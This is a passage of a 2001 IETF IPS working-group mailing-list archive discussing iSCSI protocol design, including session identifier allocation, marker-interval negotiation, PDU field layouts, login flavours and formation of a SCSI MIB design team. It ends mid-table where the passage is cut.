whack at this ... > The major difference is "control". In the current scheme the initiator and > target could independently allocate and reuse their parts. > > The target allocates only scheme leaves this to the target (it has to do > garbage collection) under the assumption that the target (unlike the > initiator) has a central point of control. Yes, I'm assuming that targets will have a single vendor in charge of all the software on the target and making it work right if there are multiple HBAs; I don't see any corresponding vendor who's in a position to do the same for the initiator ... > Aren't targets going to have several HBA and have to carefully allocate > their SSIDs? But they'll have one vendor in charge of making this work. In contrast, for an initiator with HBAs from two different vendors, both of those vendors and the vendor of the OS platform have to be involved, and I don't see any of them taking full responsibility in the early going. I'm worried we risk heading the iSCSI Initiator Name down the same path as Fibre Channel, where the FC Node WWN was supposed to be associated with the server into which the HBAs were plugged, but got associated with the HBA because there was no way to coordinate across HBAs. If anything ever goes wrong with ISIDs (and things will), the fastest way to fix it will be to require each HBA to have its own iSCSI Initiator Name, independent of the intent of the iSCSI naming architecture. > In the event an initiator wants to rebuild a session does he have to > connect to the same HBA and thus a failover to another HBA > can't be done. No, this is controlled by portal groups. To failover across two HBAs on the target, they have to be in the same portal group, and the target is responsible for coordinating TSID usage within each portal group. If the target can't coordinate TSID usage, it puts the HBAs into different portal groups and gives up this failover ability as a consequence, and that's the case independent of whether ISIDs exist or not. > For all the above no to happen we have to add some management somewhere and > it looks to me that the current scheme is simpler than a target centric one > as it keeps the allocation and release of numbers at the same end. I'm sorry, that doesn't parse for me. It looks like the same sort of mechanism is being put into both initiators and targets for symmetry, without considering whether two instances of the mechanism are actually necessary. In a target-centric scheme, the target is doing the "allocation and release" of numbers. The target does have to be careful about not aggressively reusing TSID values, when there's potentially recoverable state around (or the initiators may think that there's state to be recovered even though the target's lost it all in a reboot), but recall that aggressive reuse of ISIDs is what created the Option A/B/C mess (and not aggressively reusing ISIDs would make that easier to solve). I don't understand how two instances of similar mechanisms is "simpler" than one. --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 435-1000 x75140 FAX: +1 (508) 497-8500 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- From owner-ips@ece.cmu.edu Tue Sep 11 12:53:50 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA13034 for ; Tue, 11 Sep 2001 12:53:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8BFR6b25721 for ips-outgoing; Tue, 11 Sep 2001 11:27:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls16.mediaone.net (chmls16.mediaone.net [24.147.1.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8BFR3P25713 for ; Tue, 11 Sep 2001 11:27:04 -0400 (EDT) Received: from breinhold ([140.186.40.85]) by chmls16.mediaone.net (8.11.1/8.11.1) with SMTP id f8BFRMT19694; Tue, 11 Sep 2001 11:27:22 -0400 (EDT) From: "Barry Reinhold" To: "Julian Satran" Cc: "ISCSI" Subject: iSCSI: Marker Intervals Date: Tue, 11 Sep 2001 11:27:45 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 In-Reply-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Ok, If there is not a concept of a range how do I handle the syntax of RFMarkInt as defined in item 20 in appendix D. This syntax is given as: RFMarkInt=[,-----Original Message----- >From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of >Julian Satran >Sent: Saturday, September 08, 2001 4:58 AM >To: Barry Reinhold >Cc: ISCSI >Subject: Re: Marker negotiation > > > >Barry, > >I was not aware that we allow ranges - only individual values. The range >in the examples are there to indicate a possible range for the value and >for each key there is a selection rule (usually the lower or higher). > >Julo > >"Barry Reinhold" on 06-09-2001 19:43:54 > >Please respond to "Barry Reinhold" > >To: Julian Satran/Haifa/IBM@IBMIL >cc: "ISCSI" >Subject: Marker negotiation > > > >Julain, > If doing a numerical negotiation - such as for marker intervals - if a >range is offered that is not liked what is the responder expected to do? >Numerical negotiations don't allow for selection of values out of range. > >Example: > >I -> FMarker=send-receive >T -> FMarker=send-receive >I -> RFMarkint=1,12 >T -> doesn't want anything below 1024. What does he do? > >Barry Reinhold >Principal Architect >Trebia Networks >barry.reinhold@trebia.com >603-868-5144/603-659-0885/978-929-0830 x138 > > > > From owner-ips@ece.cmu.edu Tue Sep 11 16:39:13 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA18448 for ; Tue, 11 Sep 2001 16:39:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8BIbuP07835 for ips-outgoing; Tue, 11 Sep 2001 14:37:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from hoemail1.firewall.lucent.com (hoemail1.lucent.com [192.11.226.161]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8BIbnP07824 for ; Tue, 11 Sep 2001 14:37:50 -0400 (EDT) Received: from nc8220exchange.ral.lucent.com (h135-92-100-21.lucent.com [135.92.100.21]) by hoemail1.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f8BIbmc07647 for ; Tue, 11 Sep 2001 14:37:48 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 Content-Class: urn:content-classes:message Subject: RE: SCSI MIB design team formation MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Disposition-Notification-To: "Elizabeth Rodriguez" Date: Tue, 11 Sep 2001 14:37:47 -0400 Message-ID: <9410A0F67DFE7F4D998D453823649836043694@nc8220exchange.ral.lucent.com> Thread-Topic: iSCSI: state of a SCSI MIB (was RE: ISCSI: A propos MIB and specially iSCSI MIB) Thread-Index: AcEw2c2ywDbg5JAJRImFhmMNRxeHLgEGDFJQAX98cTA= From: "Elizabeth Rodriguez" To: "Elizabeth Rodriguez" , Cc: "David Black (E-mail)" , "Keith McCloghrie (E-mail)" , , Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8BIbtP07832 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Hello all, We have received input from many individuals willing to help out on this effort/design team. David, Keith and I will review the information we have received and announce the team formation. Target for this announcement will be on Monday, Sept 17. Thanks to all who have volunteered. Elizabeth -----Original Message----- From: Elizabeth Rodriguez Sent: Monday, September 03, 2001 11:42 PM To: ips@ece.cmu.edu Cc: David Black (E-mail); Keith McCloghrie (E-mail); sbhagat@tripace.com; rkroberts@aol.com Subject: SCSI MIB design team formation Hello all, I believe that the IPS WG is now prepared to undertake the effort of development of a SCSI MIB. As mentioned below by Marjorie, while the iSCSI MIB design team is willing to contribute to this development, the effort needs to be undertaken by a different group of people. T10 CAP is also willing to contribute, but the T10 organization will not undertake the MIB development itself. That will be a draft undertaken by the IPS working group. We now have 2 individuals who are willing to undertake the SCSI MIB development. The first is Sanjeev Bhagat, of Tripace. The second is Ron Roberts, of Adaptec. Both are experienced in both SCSI and MIB work, and are willing to undertake this effort. Keith McCloghrie will assist this group in his capacity as MIB advisor. Anyone else who is willing to contribute to this effort should contact David or myself, by Sept 10. Thanks, Elizabeth Rodriguez & David Black -----Original Message----- From: KRUEGER,MARJORIE (HP-Roseville,ex1) [mailto:marjorie_krueger@hp.com] Sent: Wednesday, August 29, 2001 4:49 PM To: 'Michele Hallak - Stamler'; mbakke@cisco.com Cc: ips@ece.cmu.edu Subject: iSCSI: state of a SCSI MIB (was RE: ISCSI: A propos MIB and specially iSCSI MIB) Regarding your question on the state of a SCSI MIB, we are looking for a MIB designer that is SCSI aware to head this effort, as Mark and I have too many other committments. The iSCSI MIB design team will contribute to the basis for a SCSI MIB, but we are still looking for a leader in the SCSI MIB effort. We have taken this issue to the T10 CAP group to solicite help, but the MIB must ultimately be submitted as an IETF draft. Hopefully, this effort will take shape soon. Marjorie Krueger Networked Storage Architecture Networked Storage Solutions Org. Hewlett-Packard tel: +1 916 785 2656 fax: +1 916 785 0391 email: marjorie_krueger@hp.com > -----Original Message----- > From: Michele Hallak - Stamler [mailto:michele@sanrad.com] > Sent: Tuesday, August 28, 2001 9:20 AM > To: mbakke@cisco.com > Cc: ips@ece.cmu.edu > Subject: RE: ISCSI: A propos MIB and specially iSCSI MIB > > > Mark, > Thanks a lot for your prompt answer... > My comments are prefixed by MHS. > Thanks again, > Michele > > > -----Original Message----- > > From: Mark Bakke [mailto:mbakke@cisco.com] > > Sent: Monday, August 27, 2001 3:47 PM > > To: Michele Hallak - Stamler > > Cc: ips@ece.cmu.edu > > Subject: Re: ISCSI: A propos MIB and specially iSCSI MIB > > > > > > Michele- > > > > Thanks for the comments. My comments are below. > > > > -- > > Mark > > > > Michele Hallak - Stamler wrote: > > > > > > Since you are meeting at interim meetings on MIBs: > > > > > > The following mail summarizes my suggestions concerning the > > improvement > > > of iSCSI MIB: > > > > > > 1. New Textual Convention: > > > AuthenticationMethodTC ::= TEXTUAL-CONVENTION > > > STATUS current > > > DESCRIPTION > > > "List of possible authentication methods." > > > SYNTAX INTEGER { > > > none(1), > > > crc32(2), > > > crc64(3), > > > md5(4), > > > kerberosMd5(5), > > > kerberosMd5des(6), > > > kerberosMd5desHmark(7) > > > } > > > > This is a text field in the current MIB; it will change to > > an OID field in the next version, which acts a little like > > your enumerated types, but is extensible without modifying > > the MIB. BTW, this is a set of two attributes called DataDigest > > and HeaderDigest; AuthMethod is something completely different. > > All of the digest methods will be removed from draft-08 with > > the exception of "none" and "crc-32c". With the new OID scheme; > > values for these can be added to your enterprise MIB if you > > choose to implement them. > > > [MHS] If it will be OIDs, it's fine with me. I was > inconfortable with simple strings. > > > > > > 2. Add RowStatus and Read-Write Access to the portals and to the > > > authorized list of initiators. > > > > Which attributes to write and which rows to delete are currently > > under consideration. We are looking for detailed input on this. > > > > Please send the list of attributes you wish to write, and why > > you wish to write them. > [MHS] Mainly, we would like to add the type of access for each > initiator: read-only or read-write. > > > > 3. Add RowStatus to iscsiTargetAttributesTable in order > to allow an > > > administrator to create target and > > > set the access of the fields: iscsiTgtName and > iscsiTgtAlias as > > > read-create > > > > It's not possible to create an iSCSI target without first creating > > a SCSI target. I don't think we will be ready to explore this until > > we have made progress on a SCSI MIB. If you have some ideas on how > > a management station would make use of this (with both > MIBs) to create > > new targets, please send them. > > > [MHS] After having made some clarifications, I understand what > you mean now. > What is the status of the SCSI MIB? Is there any work done on > the matter? > And at which organization? > For our management we need the ability to create targets. What > is your suggestion? > (Apart of private MIB) > I think that anyway we can allow to create targets via iSCSI > MIB; it is MAX-ACCESS and it > will be the responsibility of the implementation to update SCSI > modules about new targets. > Your opinion? > > > > > I hope that you'll aggree to make the change, > > > > > > Michele > > > > -- > > Mark A. Bakke > > Cisco Systems > > mbakke@cisco.com > > 763.398.1054 > [MHS] > Again Thanks a lot, > > Michele Hallak-Stamler > Sanrad Intelligent Storage > michele@sanrad.com > 972-3-7674809 > From owner-ips@ece.cmu.edu Tue Sep 11 19:12:48 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA20706 for ; Tue, 11 Sep 2001 19:12:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8BLa6e18260 for ips-outgoing; Tue, 11 Sep 2001 17:36:06 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from inet-vrs-03.redmond.corp.microsoft.com (mail3.microsoft.com [131.107.3.123]) by ece.cmu.edu (8.11.0/8.10.2) with SMTP id f8BLLdP17444 for ; Tue, 11 Sep 2001 17:21:39 -0400 (EDT) Received: from 157.54.9.104 by inet-vrs-03.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 11 Sep 2001 14:21:33 -0700 Received: from red-imc-01.redmond.corp.microsoft.com ([157.54.9.102]) by inet-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Tue, 11 Sep 2001 14:21:33 -0700 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Tue, 11 Sep 2001 14:21:32 -0700 Received: from win-msg-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.134]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.2966); Tue, 11 Sep 2001 14:20:55 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.5716.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: iSCSI: Size of List in key=list in Text response (Rev 08) Date: Tue, 11 Sep 2001 14:20:53 -0700 Message-ID: <8CC03F47967BF14D9710887723FADDB62F5334@win-msg-02.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: iSCSI: Size of List in key=list in Text response (Rev 08) Thread-Index: AcEw2c2ywDbg5JAJRImFhmMNRxeHLgEGDFJQAX98cTAABbt/MA== From: "Lakshmi Ramasubramanian" To: X-OriginalArrivalTime: 11 Sep 2001 21:20:56.0010 (UTC) FILETIME=[A4E0F2A0:01C13B07] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8BLLeP17445 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Section 2.10.5 says key values MUST NOT exceed 255 bytes. But there is no mention about any such restriction for the size of a List (Other than saying that the length of a text command or response cannot exceed 4096 bytes) So, can the size of a List be arbitrarily long (but within 4096 bytes)? Thanks! -lakshmi From owner-ips@ece.cmu.edu Tue Sep 11 19:19:18 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA20837 for ; Tue, 11 Sep 2001 19:19:18 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8BLxwg19582 for ips-outgoing; Tue, 11 Sep 2001 17:59:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from smtp03.wxs.nl (smtp03.wxs.nl [195.121.6.37]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8BLxgP19564 for ; Tue, 11 Sep 2001 17:59:55 -0400 (EDT) Received: from daniel ([213.10.179.111]) by smtp03.wxs.nl (Netscape Messaging Server 4.05) with SMTP id GJIQF902.VDZ; Tue, 11 Sep 2001 23:59:33 +0200 Message-ID: <000a01c13b0e$b3dbec40$9600000a@daniel> From: "Sanjeev Bhagat" To: "Elizabeth Rodriguez" , "Elizabeth Rodriguez" , Cc: "David Black \(E-mail\)" , "Keith McCloghrie \(E-mail\)" , References: <9410A0F67DFE7F4D998D453823649836043694@nc8220exchange.ral.lucent.com> Subject: Re: SCSI MIB design team formation Date: Wed, 12 Sep 2001 00:11:26 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit hello all, i am already studying the stuff. i was suppose to be in the t-10 meeting but my plane returned back from half way because of problems in USA. i have just reurned home. meanwhile i have done quiet some studies and i would be able to put something in written after about 15 days. I have started to feel a little on SNMP stuff, but i am reading SMI and MIB these days. sanjeev ----- Original Message ----- From: "Elizabeth Rodriguez" To: "Elizabeth Rodriguez" ; Cc: "David Black (E-mail)" ; "Keith McCloghrie (E-mail)" ; ; Sent: Tuesday, September 11, 2001 8:37 PM Subject: RE: SCSI MIB design team formation > Hello all, > > We have received input from many individuals willing to help out on this > effort/design team. > > David, Keith and I will review the information we have received and > announce the team formation. Target for this announcement will be on > Monday, Sept 17. > > Thanks to all who have volunteered. > > Elizabeth > > -----Original Message----- > From: Elizabeth Rodriguez > Sent: Monday, September 03, 2001 11:42 PM > To: ips@ece.cmu.edu > Cc: David Black (E-mail); Keith McCloghrie (E-mail); > sbhagat@tripace.com; rkroberts@aol.com > Subject: SCSI MIB design team formation > > > Hello all, > > I believe that the IPS WG is now prepared to undertake the effort of > development of a SCSI MIB. > As mentioned below by Marjorie, while the iSCSI MIB design team is > willing to contribute to this development, > the effort needs to be undertaken by a different group of people. > > T10 CAP is also willing to contribute, but the T10 organization will not > undertake the MIB development itself. > That will be a draft undertaken by the IPS working group. > > We now have 2 individuals who are willing to undertake the SCSI MIB > development. > The first is Sanjeev Bhagat, of Tripace. > The second is Ron Roberts, of Adaptec. > Both are experienced in both SCSI and MIB work, and are willing to > undertake this effort. > > Keith McCloghrie will assist this group in his capacity as MIB advisor. > > Anyone else who is willing to contribute to this effort should contact > David or myself, by Sept 10. > > Thanks, > > Elizabeth Rodriguez & David Black > > -----Original Message----- > From: KRUEGER,MARJORIE (HP-Roseville,ex1) > [mailto:marjorie_krueger@hp.com] > Sent: Wednesday, August 29, 2001 4:49 PM > To: 'Michele Hallak - Stamler'; mbakke@cisco.com > Cc: ips@ece.cmu.edu > Subject: iSCSI: state of a SCSI MIB (was RE: ISCSI: A propos MIB and > specially iSCSI MIB) > > > Regarding your question on the state of a SCSI MIB, we are looking for a > MIB > designer that is SCSI aware to head this effort, as Mark and I have too > many > other committments. The iSCSI MIB design team will contribute to the > basis > for a SCSI MIB, but we are still looking for a leader in the SCSI MIB > effort. We have taken this issue to the T10 CAP group to solicite help, > but > the MIB must ultimately be submitted as an IETF draft. Hopefully, this > effort will take shape soon. > > Marjorie Krueger > Networked Storage Architecture > Networked Storage Solutions Org. > Hewlett-Packard > tel: +1 916 785 2656 > fax: +1 916 785 0391 > email: marjorie_krueger@hp.com > > > -----Original Message----- > > From: Michele Hallak - Stamler [mailto:michele@sanrad.com] > > Sent: Tuesday, August 28, 2001 9:20 AM > > To: mbakke@cisco.com > > Cc: ips@ece.cmu.edu > > Subject: RE: ISCSI: A propos MIB and specially iSCSI MIB > > > > > > Mark, > > Thanks a lot for your prompt answer... > > My comments are prefixed by MHS. > > Thanks again, > > Michele > > > > > -----Original Message----- > > > From: Mark Bakke [mailto:mbakke@cisco.com] > > > Sent: Monday, August 27, 2001 3:47 PM > > > To: Michele Hallak - Stamler > > > Cc: ips@ece.cmu.edu > > > Subject: Re: ISCSI: A propos MIB and specially iSCSI MIB > > > > > > > > > Michele- > > > > > > Thanks for the comments. My comments are below. > > > > > > -- > > > Mark > > > > > > Michele Hallak - Stamler wrote: > > > > > > > > Since you are meeting at interim meetings on MIBs: > > > > > > > > The following mail summarizes my suggestions concerning the > > > improvement > > > > of iSCSI MIB: > > > > > > > > 1. New Textual Convention: > > > > AuthenticationMethodTC ::= TEXTUAL-CONVENTION > > > > STATUS current > > > > DESCRIPTION > > > > "List of possible authentication methods." > > > > SYNTAX INTEGER { > > > > none(1), > > > > crc32(2), > > > > crc64(3), > > > > md5(4), > > > > kerberosMd5(5), > > > > kerberosMd5des(6), > > > > kerberosMd5desHmark(7) > > > > } > > > > > > This is a text field in the current MIB; it will change to > > > an OID field in the next version, which acts a little like > > > your enumerated types, but is extensible without modifying > > > the MIB. BTW, this is a set of two attributes called DataDigest > > > and HeaderDigest; AuthMethod is something completely different. > > > All of the digest methods will be removed from draft-08 with > > > the exception of "none" and "crc-32c". With the new OID scheme; > > > values for these can be added to your enterprise MIB if you > > > choose to implement them. > > > > > [MHS] If it will be OIDs, it's fine with me. I was > > inconfortable with simple strings. > > > > > > > > 2. Add RowStatus and Read-Write Access to the portals and to the > > > > authorized list of initiators. > > > > > > Which attributes to write and which rows to delete are currently > > > under consideration. We are looking for detailed input on this. > > > > > > Please send the list of attributes you wish to write, and why > > > you wish to write them. > > [MHS] Mainly, we would like to add the type of access for each > > initiator: read-only or read-write. > > > > > > 3. Add RowStatus to iscsiTargetAttributesTable in order > > to allow an > > > > administrator to create target and > > > > set the access of the fields: iscsiTgtName and > > iscsiTgtAlias as > > > > read-create > > > > > > It's not possible to create an iSCSI target without first creating > > > a SCSI target. I don't think we will be ready to explore this until > > > we have made progress on a SCSI MIB. If you have some ideas on how > > > a management station would make use of this (with both > > MIBs) to create > > > new targets, please send them. > > > > > [MHS] After having made some clarifications, I understand what > > you mean now. > > What is the status of the SCSI MIB? Is there any work done on > > the matter? > > And at which organization? > > For our management we need the ability to create targets. What > > is your suggestion? > > (Apart of private MIB) > > I think that anyway we can allow to create targets via iSCSI > > MIB; it is MAX-ACCESS and it > > will be the responsibility of the implementation to update SCSI > > modules about new targets. > > Your opinion? > > > > > > > > I hope that you'll aggree to make the change, > > > > > > > > Michele > > > > > > -- > > > Mark A. Bakke > > > Cisco Systems > > > mbakke@cisco.com > > > 763.398.1054 > > [MHS] > > Again Thanks a lot, > > > > Michele Hallak-Stamler > > Sanrad Intelligent Storage > > michele@sanrad.com > > 972-3-7674809 > > > From owner-ips@ece.cmu.edu Wed Sep 12 09:30:39 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA21259 for ; Wed, 12 Sep 2001 09:30:39 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CBgCL09299 for ips-outgoing; Wed, 12 Sep 2001 07:42:12 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CBg9P09294 for ; Wed, 12 Sep 2001 07:42:10 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id NAA110688 for ; Wed, 12 Sep 2001 13:41:50 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8CBfoe78790 for ; Wed, 12 Sep 2001 13:41:50 +0200 Importance: Normal Subject: condolences To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Wed, 12 Sep 2001 14:23:52 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 12/09/2001 14:41:50 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Dear colleagues and friends, I would like to express my deep sympathy to all of you, over in the US (or rather over here as we live in a small world). My heart is with you. Since I cannot find words of comfort, let me just hope that all terror, will be eliminated from the face of earth. Sincerely, Julo From owner-ips@ece.cmu.edu Wed Sep 12 12:39:56 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA27193 for ; Wed, 12 Sep 2001 12:39:25 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CEiVn17727 for ips-outgoing; Wed, 12 Sep 2001 10:44:31 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from iol.unh.edu (mars.iol.unh.edu [132.177.121.222]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CEiTP17723 for ; Wed, 12 Sep 2001 10:44:29 -0400 (EDT) Received: from localhost (rdr@localhost) by iol.unh.edu (8.9.3/8.9.3) with ESMTP id KAA13013; Wed, 12 Sep 2001 10:44:26 -0400 (EDT) Date: Wed, 12 Sep 2001 10:44:25 -0400 From: "Robert D. Russell" To: Julian Satran cc: ips@ece.cmu.edu Subject: RE: iSCSI: PDU formats In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian: I would like to request 3 small changes in the format of some of the PDUs. One of the design features that you have employed very successfully to date is to have a given field, such as the "Initiator Task Tag" for example, always appear in the same position (bytes 16-19) in any PDU in which it appears. This makes it easy to understand, to implement, and to debug. However, a few small inconsistencies in the application of this design principle have crept in with draft 7, and I would like to propose that we fix them. 1. In draft 6 the SCSI Response PDU had one Status/Response field in byte 3 -- in draft 7-90 it now has a Status field in byte 2 and a Response field in byte 3. In draft 6 the Data-in PDU also had a Status field in byte 3, and in draft 7-90 it is still in byte 3, with byte 2 unused (reserved). Would you please either: a. Reorder the bytes in the SCSI Response PDU so that the Status field will be in byte 3 (so it is consistent with the Data-in PDU) and the Response field will be in byte 2; or b. Move the status field in the Data-in PDU from byte 3 to byte 2 (so it remains consistent with the SCSI Response PDU). I would prefer alternative a. because it would leave the Data-in PDU unchanged for drafts 6, 7 and 8, and the SCSI Response PDU has to change in any case. However, obviously either solution would work. 2. In draft 7-90, a field called "Response" appears in 3 PDUs: a. In byte 36 of the Task Management Response PDU. b. In byte 36 of the Logout Response PDU. c. In byte 2 (if my request 1a above is taken) in the SCSI Response PDU. This is clearly inconsistent with a and b. Since bytes 2 and 3 are currently unused (reserved) in both the Task Management Response PDU and the Logout Response PDU, the simplest solution would be to move the "Response" field in those 2 PDUs to byte 2 in order to be consistent with the SCSI Response PDU. To keep the design clean, the new "Qualifier" field in the Task Management Response PDU should probably also be moved to byte 3. 3. In draft 7-90 the Login and Login Response PDUs have been modified with the introduction of the T, C, and CNxSG fields in byte 37. However, in the Login Response PDU these fields overlay the Status-Detail field, which is also in byte 37. Although the way to interpret this field is uniquely determined by the context, it is context dependent and I believe that this will lead to a lot of needless errors in coding, and that it also makes debugging more difficult, because the use of this byte changes during the login phase exchanges. This means that you can't always look at it the same way. To avoid this overlay, would you please move the new fields (T, C, and CNxSG) to one of the currently unused bytes. Many bytes (2, 10-11, 20-23, 38-39, 40-47) are currently unused in both of these PDUs, so there would appear to be no urgent need to overlay the new fields on top of an existing field in order to save space. Thanks, Bob Russell InterOperability Lab University of New Hampshire rdr@iol.unh.edu 603-862-3774 From owner-ips@ece.cmu.edu Wed Sep 12 13:29:14 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28532 for ; Wed, 12 Sep 2001 13:29:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8CFkt721835 for ips-outgoing; Wed, 12 Sep 2001 11:46:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8CFkmP21818 for ; Wed, 12 Sep 2001 11:46:49 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 1635D1E5 for ; Wed, 12 Sep 2001 17:47:16 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id QAA24773 for ; Wed, 12 Sep 2001 16:46:42 +0100 (BST) Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Wed, 12 Sep 2001 16:45:45 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Wed, 12 Sep 2001 16:45:45 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A8BA@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: "'ips@ece.cmu.edu'" Subject: Flavours of Login Date: Wed, 12 Sep 2001 16:46:39 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I have been reviewing 07-91 and am struggling to understand the various flavours of login. The one area that is really causing me concern is the way that an initiator is able to specify that it wants to perform session recovery. This is required in the case that the initiator's session state is FAILED (Q4) but the targets is LOGGED_IN (Q3) as it has not detected a failure in the TCP connections. As a result I have put forward the following table for discussion. Note that there are two proposals/methods for session recovery as I have no particular preference but it must be explicit and not implicit! If this has already been addressed please can someone point me in the right direction!! Matthew Burbridge Senior Development Engineer NIS-Bristol Hewlett Packard Telnet: 312 7010 E-mail: matthewb@bri.hp.com Flavours of Login: +-------+-------+-------+---+-------------------------------------------+ | TSID | ISID | CID | X | Description | +-------+-------+-------+---+-------------------------------------------+ | 0 | New | New | 0 | Initiator is creating a new session. | +-------+-------+-------+---+-------------------------------------------+ | 0 | Exist | New | 0 | Initiator is trying to login after reboot | +-------+-------+-------+---+-------------------------------------------+ | Exist | Exist | New | 0 | Initiator is adding a new connection to | | | | | | an existing session. | +-------+-------+-------+---+-------------------------------------------+ | Exist | Exist | Exist | 1 | Initiator is attempted connection | | | | | | 